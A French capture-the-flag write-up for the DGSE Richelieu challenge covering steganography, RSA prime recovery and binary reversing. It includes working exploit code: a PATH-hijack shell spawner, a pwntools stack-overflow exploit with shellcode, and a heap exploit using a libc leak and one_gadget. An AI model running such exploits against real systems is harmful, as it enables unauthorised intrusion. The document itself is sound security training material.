Depuis le mois de mai, et jusqu’au 14 juin 2019, la DGSE
(Direction Générale de la Sécurité Extérieure) propose un CTF, un concours de hacking éthique. Mission, recruter son personnel geek (cf. https://www.zataz.com/concours-dgse-richelieu/).
Le challenge Richelieu commence sur le site https://www.challengecybersec.fr/.
Les éléments de l’article sont sur le Github de Pirates.RE.
Il faut regarder dans le code source de la page et télécharger le fichier PDF
.
A la lecture du fichier Richelieu.pdf
, nous devons remarquer la colonne de gauche (il y a forcément un truc dans ces 364 pages).
Avec Acrobat Reader nous devons sélectionner tout le texte (Ctrl+A
) et le copier (Ctrl+C
) puis créer un nouveau fichier texte et coller (Ctrl+V
) le contenu.
Je me suis compliqué la vie à faire un script pour décoder le base64
(mais la commande base64 -d
aurait pu faire ce travail).
#!/usr/bin/env python2.7
def read_file_to_buffer(path_to_file, mode) :
from os.path import isfile
if(not(isfile(path_to_file))) : return(False)
try :
with open(path_to_file, mode) as file_stream :
file_content = file_stream.read()
except Exception as Exception_Error :
print("%s", (Exception_Error))
return(False)
return(file_content)
def write_file(path_to_file, mode, data) :
try :
with open(path_to_file, mode) as written_file :
written_file.write(data)
except IOError :
return(False)
print(" writting:\t%s" % (path_to_file))
return(True)
data = read_file_to_buffer("Richelieu.b64.txt", 'r').replace("\r\n", '')
from base64 import b64decode
write_file("Richelieu.bin", 'w', b64decode(data))
J’ai utilisé la commande file
pour détecter le type de fichier, c’est une image au format JPG
.
Avec un éditeur hexadécimal (incontournable), nous passons en revu le fichier et à la fin de celui-ci, nous observons une structure qui ressemble à un fichier Zip
(il y a des entêtes PK et un mot de passe).
J’ai utilisé 7z
sur l’image elle-même avec le mot de passe DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}
pour extraire les données du Zip
(c’est bourrin mais ça fonctionne).
A l’intérieur du fichier Zip
, nous découvrons bien sûre des fichiers cryptés, mais également :
RSA
,prime1
de la clé RSA
(un peu modifié),bash
,suite.zip
.Pour commencer, nous nous intéressons au fichier .bash_history
.
Celui-ci nous donnes des informations essentielles pour casser la clé RSA
de 4096-bits
.
Nous observons que le prime1
de la clé RSA à été modifié par une série de sed
.
Notre premier travail est de recalculer le bon prime
pour notre clé RSA
.
Personnellement, j’ai pris pour habitude de ne pas compliquer mon code pour éviter les erreurs toutes bêtes (surtout en mode CTF). Alors j’ai commencé par créer un dictionnaire de primes
.
#!/usr/bin/env python2.7
def write_file(path_to_file, mode, data) :
try :
with open(path_to_file, mode) as written_file :
written_file.write(data)
except IOError :
return(False)
print(" writting:\t%s" % (path_to_file))
return(True)
prime_mask = "00:I1A:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:I7:38:3e:59:09:34:a5:78:I10:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:I5:9c:9d:c9:b1:90:45:51:ed:d2:I2:dd:b6:74:b4:99:I3:b1:0a:d9:b7:c2:be:8b:I8:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:I9:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:I11:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:I6:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:I4:15"
candidate = ""
for a in range(2) :
key = ["7f", "fb"]
p = prime_mask.replace("I1A", key[a])
candidate = candidate + p + '\n'
write_file("candidates1.txt", 'w+', candidate)
candidate = ""
with open("candidates1.txt") as f :
for line in f :
for k in ["7f", "fb"] :
p = line.replace("I2", k)
candidate = candidate + p + '\n'
write_file("candidates2.txt", 'w+', candidate)
candidate = ""
with open("candidates2.txt") as f :
for line in f :
for k in ["7f", "fb"] :
p = line.replace("I3", k)
candidate = candidate + p + '\n'
write_file("candidates3.txt", 'w+', candidate)
candidate = ""
with open("candidates3.txt") as f :
for line in f :
for k in ["7f", "fb"] :
p = line.replace("I4", k)
candidate = candidate + p + '\n'
write_file("candidates4.txt", 'w+', candidate)
candidate = ""
with open("candidates4.txt") as f :
for line in f :
for k in ["f4", "12"] :
p = line.replace("I5", k)
candidate = candidate + p + '\n'
write_file("candidates5.txt", 'w+', candidate)
candidate = ""
with open("candidates5.txt") as f :
for line in f :
for k in ["16", "54"] :
p = line.replace("I6", k)
candidate = candidate + p + '\n'
write_file("candidates6.txt", 'w+', candidate)
candidate = ""
with open("candidates6.txt") as f :
for line in f :
for k in ["a4", "57"] :
p = line.replace("I7", k)
candidate = candidate + p + '\n'
write_file("candidates7.txt", 'w+', candidate)
candidate = ""
with open("candidates7.txt") as f :
for line in f :
for k in ["a4", "57"] :
p = line.replace("I8", k)
candidate = candidate + p + '\n'
write_file("candidates8.txt", 'w+', candidate)
candidate = ""
with open("candidates8.txt") as f :
for line in f :
for k in ["a4", "57"] :
p = line.replace("I9", k)
candidate = candidate + p + '\n'
write_file("candidates9.txt", 'w+', candidate)
candidate = ""
with open("candidates9.txt") as f :
for line in f :
for k in ["b5", "cd"] :
p = line.replace("I10", k)
candidate = candidate + p + '\n'
write_file("candidates10.txt", 'w+', candidate)
candidate = ""
with open("candidates10.txt") as f :
for line in f :
for k in ["b5", "cd"] :
p = line.replace("I11", k)
candidate = candidate + p + '\n'
write_file("candidates11.txt", 'w+', candidate)
Ensuite, il faut extraire le modulus
et l’exposant
de la clé RSA
(nécessaires pour retrouver le prime2
).
Vous pouvez lire l’article Breaking RSA Cryptosystem pour plus d’informations.
En gros, nous avons le modulus
et le prime1
, alors, pour trouver le prime2
il faut faire le calcule inverse de : modulus = prime1 * prime2
.
Nous devons faire le calcul en tenant compte que prime2
doit être un nombre premier :
prime2 = modulus / prime1
modulus = "00:cd:5f:8a:24:c7:60:50:08:89:7a:3c:92:2c:0e:81:2e:76:9d:e0:a4:64:42:c3:50:cb:78:c7:86:85:39:f3:d3:8a:ac:80:b3:e6:a5:06:60:59:10:e8:59:98:06:b4:d1:d1:48:f2:f6:b8:1d:a0:47:96:a8:a5:ae:e1:8f:29:e8:3e:16:77:5a:2a:0a:00:87:05:41:f6:57:4e:d1:43:86:36:ae:0a:0c:11:6e:07:10:4f:48:f7:20:94:86:3a:38:69:e1:c8:fc:22:06:27:27:89:62:fb:22:87:3e:31:56:f1:8e:55:de:c9:4e:97:00:64:ec:7f:4e:0e:88:45:40:12:e2:fd:5d:fe:5f:8d:19:bf:17:0f:9c:cb:3f:46:e0:fd:10:19:bc:b0:2d:90:83:a0:70:3c:61:7f:99:63:79:e6:47:83:54:a7:3a:e6:e6:ac:bc:e1:f4:33:3e:cf:af:24:36:6a:3e:97:7d:3c:d3:cb:fe:8d:8a:38:7b:d8:76:bf:da:b8:48:8f:6f:47:bf:1f:be:33:01:0f:d2:d7:e2:2b:4d:b2:e5:67:78:3c:e0:b6:06:db:86:b9:37:59:71:4c:4f:63:96:a7:fb:9f:74:c4:02:10:43:b0:f3:d4:6d:26:33:eb:d4:3a:87:78:63:df:7d:68:0f:50:65:87:c1:19:dd:64:10:0c:a8:31:ce:2a:f3:3d:95:1b:52:4c:5f:06:b4:9f:5b:f2:cb:38:1e:74:18:19:30:d0:6a:80:50:5c:06:ab:d5:bf:48:70:f0:c9:fb:58:1b:d8:0d:ba:88:96:60:63:9f:93:6e:de:a8:fe:5d:0c:9e:ae:58:06:2e:d6:93:25:25:83:c7:1c:c7:82:ba:61:3e:01:43:8e:69:b4:3f:9e:64:ec:a8:4f:9e:a0:4e:81:1a:d7:b3:9e:fd:78:76:d1:b6:b5:01:c4:f4:8a:cc:e6:f2:42:39:f6:c0:40:28:78:81:35:cd:88:c3:d1:5b:e0:f2:eb:b7:de:9e:9c:19:a7:a9:30:37:00:5e:e0:a9:a6:40:ba:da:33:2e:c0:d0:5e:e9:f0:8a:83:23:54:a0:48:7a:92:7d:5e:88:06:6e:25:69:e6:c5:d4:68:8e:42:2b:fa:0b:27:c6:17:1c:6d:7b:f0:29:bf:d9:16:57:52:af:19:aa:71:b3:3a:1e:a7:0b:6c:37:1f:b2:1e:47:f5:27:d8:0b:7d:04:f5:82:ad:9f:99:35:af:72:36:82:dc:01:ca:98:80:62:18:70:de:cb:7a:d1:56:48:cd:f4:ef:15:30:16:f3:e6:d8:79:33:b8:ec:54:cf:a1:fd:f8:7c:46:70:20:a3:e7:53"
modulus = modulus.replace(':', '')
exponant = 65537
with open("primes.lst") as dictionary :
for candidate in dictionary :
candidate = long(candidate.strip('\n').replace(':', ''), 16)
if (long(modulus, 16) % long(candidate) == 0) :
print('-' * 80)
prime1 = candidate
prime2 = long(modulus, 16) / prime1
# print("rsactftool -n %i -p %i -q %i -e %i --private" % (long(modulus, 16), prime1, prime2, exponant))
print("rsactftool -n %i -p %i -q %i -e %i --uncipherfile motDePasseGPG.txt.enc" % (long(modulus, 16), prime1, prime2, exponant))
Je profite du script pour générer les commandes rsactftool
pour obtenir :
motDePasseGPG.txt.enc
.
Le mot de passe obtenu nous donne accès à l’étape suivante, une autre épreuve de stéganographie.
Le nom du fichier nous donne un indice (LSB/RGB) il faut regarder là dedans ! J’ai utilisé Stegsolve et testé plusieurs possibilité jusqu’à découvrir une entête ELF (binaire sous Linux).
J’ai exorté le fichier en cliquant sur le bouton Save Bin
.
Avec un script Python
, j’ai nettoyé le fichier (en supprimant les colonnes et espaces inutiles) et utiliser la commande xxd
pour reconstituer le binaire.
#!/usr/bin/env python2.7
def write_file(path_to_file, mode, data) :
try :
with open(path_to_file, mode) as written_file :
written_file.write(data)
except IOError :
return(False)
print(" writting:\t%s" % (path_to_file))
return(True)
data = ""
with open("elf_payload.bin") as f :
for line in f :
data = data + line[10:-19].replace(' ', '')
write_file("elf_cleaned.bin", "w", data)
Avec un éditeur hexadécimal, nous pouvons nous apercevoir que le fichier est packé avec UPX
. Sauf que … les chaînes UPX
ont été remplacé par ALD
.
Je connaissais cette technique qui est/était utilisée par certains Malwares pour bypassser les contrôles antivirus (merci la veille sécurité).
Rien de compliqué, il faut remplacer les chaînes de caractères ALD
par UPX
et décompresser le binaire.
Ensuite, avec un désassembleur (IDA
), j’ai tout simplement recherché dans les fonctions.
Ci-dessous, La valeur 0x33h
est utilisée pour faire un xor ecx, esi
, puis plus loin dans la boucle, la clé XOR
prend comme valeur le caractère courrant sous sa forme crypté (0x77
, 0x30
, 0x63
, …) et ainsi de suite jusqu’à la fin de la chaîne.
Étrangement, çà me rappelle le schéma utilisé par le malware Emotet
(voir les articles sur Emotet
[part. I et II]), du coup, pas besoin d’analyse dynamique pour coder tout ça, je connais déja le schéma.
#!/usr/bin/env python2.7
enc_password = [ 0x77, 0x30, 0x63, 0x26, 0x5D, 0x3A, 0x0E, 0x3B, 0x0D, 0x4D, 0x2A, 0x1F, 0x2E, 0x1F, 0x2D, 0x4F, 0x28, 0x51, 0x37, 0x7A, 0x14, 0x76, 0x20, 0x78, 0x0F, 0x21, 0x4D, 0x21, 0x6C, 0x11 ]
key = 0x33
from binascii import unhexlify
decrypted = ""
for e in enc_password :
d = e ^ key
key = e
decrypted = decrypted + unhexlify(str(hex(d)).replace("0x", ''))
print("[*] flag: %s" % (decrypted))
Nous obtenons le flag : DGSE{[email protected]}
Ceci nous donnes accès au fichier suite.zip
.
Mon humour d’autiste Asperger à appelé cette série d’épreuves les trois coquillages en référence au film … Demolition Man.
Nous devons nous connecter sur le serveur avec les identifiants fourni dans le fichier suite.zip
que nous venons de décrypter.
Nous pouvons utiliser la commande base64
pour encoder le binaire et le récupérer en local pour notre travail.
Puis en local, avec GDB
nous observons que le programme fait appel au binaire bash
et date
.
Et avec la commande ltrace
nous observons la fonction system()
qui fait appel au programme date
(sans spécifier le chemin complèt /usr/bin/date
).
Pour plus d’information, vous pouvez consulter le lien suivant : https://www.go4expert.com/articles/exploit-c-t24920/.
Pour l’exploitation, nous pouvons faire un petit programme en C
qui remplacera l’exécution du programme légitime date
par un shell
(notre premier coquillage).
# include <stdlib.h>
//<! gcc exploit.c -o exploit
void main(void) {
system("/bin/sh");
exit(0);
}
Et modifier la variable d’environnement $PATH
pour ajouter le répertoire où nous stockerons notre exploit.
Pour ce deuxième défi, nous devons provoquer un buffer overflow
, mais attention l’ASLR
est activée, ce qui rend plus difficile l’exploitation.
Vous pouvez vous référer au lien suivant pour comprendre : http://www.sheepshellcode.com/blog/2015/03/24/writing-buffer-overflow-exploits-with-aslr/.
Nous rapatrions en local le binaire pour l’étude de la vulnérabilité.
Pour commencer, nous pouvons rechercher la fonction de validation du mot de passe (en 5 minutes top chrono).
Nous pouvons avec ces informations en déduire un mot de passe valide : `z@T/9AA
.
Viens l’étape de fuzzing
sur les inputs. Nous détectons un overflow
sur le champ du mot de passe.
Nous contrôlons le registre RBP
et nous observons le caractère \0
qui casse notre chaîne de caractères dans la stack
.
Dans un premier temps, nous devons écrire une instruction qui doit nous permettre de sauter sur la stack
(jmp rsp
) depuis le registre RBP
.
; nasm -f elf64 jmp_rsp.asm -o jmp_rsp.o
; objdump -d jmp_rsp.o
global _start
_start:
jmp rsp
Puis, écrire quelques instruction nop’s
pour :
RBP
.\0
, mais ici, le simple fait d’écrire des nop’s
n’est pas suffisant. Il faudra aussi décaler notre shellcode
et jouer avec un jump inconditionnelle.Ensuite, nous devons faire un jmp rax
pour exécuter notre shellcode
.
Avec ASLR
, il faut utiliser un ROP gadget. Nous pouvons faire ceci avec un tas d’outils (ROPGadget, Ropper, …) mais la commande dumprop
de peda nous fait ce travail.
Donc, nous recherchons un saut sur le registre RAX
…
Il est temps d’écrire notre code d’exploitation.
J’ai utilisé pwntool (je ne connaissais pas, c’est génial …) et Metasploit-Framework pour générer un shellcode
.
Aussi, le caractère \0
est considéré comme un bad char
, il ne doit pas apparaître dans notre shellcode
(cf. msfvenom -p linux/x64/exec -f py CMD=/bin/sh –bad-chars ‘\x00’
).
#!/usr/bin/env python2.7
from pwn import *
from sys import argv, exit
BIN_FILE = "./prog.bin"
CTX_OS = "linux"
CTX_TERM = "terminator"
GDB_SCRIPT = """
set pagination off
c
"""
## ----------------------------------------------------------------------------
def send_login(p, name) :
p.recvuntil("login")
p.sendline(name)
def send_pass(p, password) :
p.recvuntil("pass")
p.sendline(password)
def pwn(p) :
from binascii import hexlify
from struct import pack
password = "`z@T/9AA"
jmp_rsp = (6 * "\x90") ## nop
jmp_rsp = jmp_rsp + "\xff\xe4" ## jmp rsp
jmp_rsp = pack("L", int(hexlify(jmp_rsp), 16))
ret = pack("L", 0x400538) ## 0x400538: call rax; add rsp,0x8; ret
## msfvenom -p linux/x64/exec -f py CMD=/bin/sh --bad-chars '\x00'
shellcode = ""
shellcode += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\x44\xbb\x01\x01\xc4\xf3\xbf"
shellcode += "\x10\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\x2e\x80\x59\x98\x8c\x48\x90\x72\x2d\xd5\x2e\x72\xac"
shellcode += "\xf3\xec\x58\xcd\x5c\x69\x2c\xa7\xf3\xbf\x58\xcd\x5d"
shellcode += "\x53\xe9\xcc\xf3\xbf\x10\x6b\xd9\x68\x6f\xeb\x80\xd7"
shellcode += "\x10\x12\xec\x49\x88\x22\xfc\xba\x10"
buf = password + ("A" * (48 - len(password)))
buf = buf + jmp_rsp ## jmp rsp
buf = buf + ret ## call rax
buf = buf + "\xeb\x10" ## jmp 0x10
buf = buf + (0x10 * "\x90") ## rewrite '\0'
buf = buf + shellcode ## exec /bin/sh
# buf = buf + ((512 - len(buf)) * "\x90")
send_login(p, "admin")
send_pass(p, buf)
## ----------------------------------------------------------------------------
def entry_point() :
context.terminal = CTX_TERM
binary = BIN_FILE
elf = ELF(binary) ## setting pwntools context os/arch
context.os = CTX_OS ## so that we won't have to specify it explicitly
context.arch = elf.arch ## when using pwntools functions like asm etc.
p = process(binary)
if (len(argv) > 1) and (len(argv) < 3) :
## Command line arguments handling
if(argv[1] == "--gdb") :
gdb.attach(p, GDB_SCRIPT)
elif(argv[1] == "--pause") :
pause()
pwn(p)
p.interactive()
if(__name__ == "__main__") :
entry_point()
exit(0)
Puis, nous obtenons notre second shell
.
Pour comprendre cette étape, vous pouvez vous référer au lien suivant : https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055.
En premier lieu, je désactive temporairement l’ASLR
en local pour l’étude de l’exploitation, de cette façon, les adresses mémoire ne change pas et c’est plus facile.
Puis, notre objectif est provoquer une fuite de donnée et de trouver un emplacement mémoire à controler.
Nous pouvons faire ceci en ajoutant et en suprimant sratégiquement des enregistrements dans le logiciel (voir le lien ci-dessus).
Puis injecter une chaine de caractères arbitraires AAAAAA
pour detecter l’exploiation.
Ensuite, testons de faire exécuter une fonction connu du logiciel.
Pour connaitre la liste de ces fonctions vous pouvez utiliser la commande readelf --syms prog.bin
.
Ce qui nous donne ces possibilitées : free
, strcpy
, puts
, strlen
, printf
, fgets
, atoll
, malloc
, atoi
, stdin
.
J’ai commencé par trier les fonctions, il y a celles que l’on peut injecter et … les autres 🙂
Puis dans la liste des fonctions valides (injectable), j’ai utilisé la fonction free()
que j’ai injecté dans : élément[1]->nom
.
Ceci modifi élément[3]->nom
par l’adresse de la fonction free()
dans libc
, c’est notre leak.
Interessant, nous pouvons ainsi utiliser la valeur de élément[3]->nom
pour calculer l’adresse de base de la librairie libc
.
Pour la suite, je ne me suis pas compliqué la vie. J’ai utilisé l’outil one_gadget pour trouver automatiquement un execve('/bin/sh', NULL, NULL)
dans le fichier libc.so.6
.
Et pour chaque fonctions valides j’ai tester les ROP
jusqu’à trouver la bonne contrainte :
[rsp+0x60] == NULL
avec la fonction printf()
.
Ecriture du code d’exploitation en Python
:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
from sys import argv, exit
BIN_FILE = "./prog.bin"
## Local:
## BIN_LIBC = "/usr/lib/libc.so.6"
## Remote:
BIN_LIBC = "/lib/x86_64-linux-gnu/libc.so.6"
CTX_OS = "linux"
CTX_TERM = "terminator"
GDB_SCRIPT = """
set pagination off
c
"""
## Local:
## 0xe6910 execve("/bin/sh", rsp+0x60, environ)
## constraints:
## [rsp+0x60] == NULL
## Remote:
## 0xd6b9f execve("/bin/sh", rsp+0x60, environ)
## constraints:
## [rsp+0x60] == NULL
ONESHOT = 0xd6b9f
## ----------------------------------------------------------------------------
def alloc(p, name, id = 1) :
p.sendline('1')
p.sendline(name)
p.sendline(str(id))
return()
def free_name(p, idx) :
show(p)
p.recvuntil("Que voulez-vous faire ?")
p.sendline('3')
p.sendline(str(idx))
p.sendline('2')
return()
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
def show(p):
p.sendline('2')
return()
def pwn(p, elf) :
elf_libc = ELF(BIN_LIBC)
print
alloc(p, 'A' * 1278, 'B' * 100) # add name 0
p.recv()
alloc(p, 'C' * 1278, 'D' * 100) # add name 1
p.recv()
alloc(p, 'E' * 1278, 'F' * 100) # add name 2
p.recv()
free_name(p, 0) # freeing name 0
p.recv()
free_name(p, 1) # freeing name 1
p.recv()
alloc(p, 'G' * 12, 'H' * 100) # add name 3
p.recv()
## https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055
"""
La table de symboles « .dynsym » contient 13 entrées :
Num: Valeur Tail Type Lien Vis Ndx Nom
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND atoll@GLIBC_2.2.5 (2)
9: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND atoi@GLIBC_2.2.5 (2)
12: 0000000000602070 8 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.2.5 (2)
"""
p.sendline('4')
p.sendline('1')
p.sendline(revaddr(int(hex(elf.got['printf']), 16)))
p.recv()
show(p)
leak = u64(p.recv()[1813:1819].ljust(8, '\x00'))
log.info("leak: 0x{:x} (printf address)".format(leak))
offset_printf = int(hex(elf_libc.symbols['printf']), 16)
log.info("offset: 0x0000000{:x} (print location into libc)".format(offset_printf))
libc_base = leak - offset_printf
log.info("libc: 0x{:x} (libc base address)".format(libc_base))
offset_oneshot = ONESHOT
oneshot = libc_base + offset_oneshot
log.info("rce: 0x{:x} (oneshot gadget)".format(oneshot))
p.sendline('4')
p.sendline('3')
p.sendline(revaddr(oneshot))
## trigger for the shell
show(p)
## ----------------------------------------------------------------------------
def entry_point() :
context.terminal = CTX_TERM
binary = BIN_FILE
elf = ELF(binary) ## setting pwntools context os/arch
context.os = CTX_OS ## so that we won't have to specify it explicitly
context.arch = elf.arch ## when using pwntools functions like asm etc.
p = process([binary, "100"])
if (len(argv) > 1) and (len(argv) < 3) :
## Command line arguments handling
if(argv[1] == "--gdb") :
gdb.attach(p, GDB_SCRIPT)
elif(argv[1] == "--pause") :
pause()
pwn(p, elf)
p.interactive()
if(__name__ == "__main__") :
entry_point()
exit(0)
Nous obtenons ainsi le flag de la dernière épreuve, avec, … le dernier des trois coquillages.
Reste plus qu’a envoyer un mail à l’adresse [email protected] avec le tag [challenge-Richelieu] et … écrire un Writeup.
Lorsque j’étais plus jeune (#macgyver), j’allais à la pêche avec mon grand père et souvant je m’amusais à détourner des petits cours d’eaux.
Pour détourner l’execution d’un programme, il faut suivre un peu le même principe.
Il ne faut surtout pas être trop brutal et accompagnier le flux que l’on détourne pour que se soit fait en douceur.
Sinon :
segmentation fault
!Et la pêche vous apprend la patience. On va dire que c’est ma version 2.0 de la pêche et ainsi, je perpétue la tradition.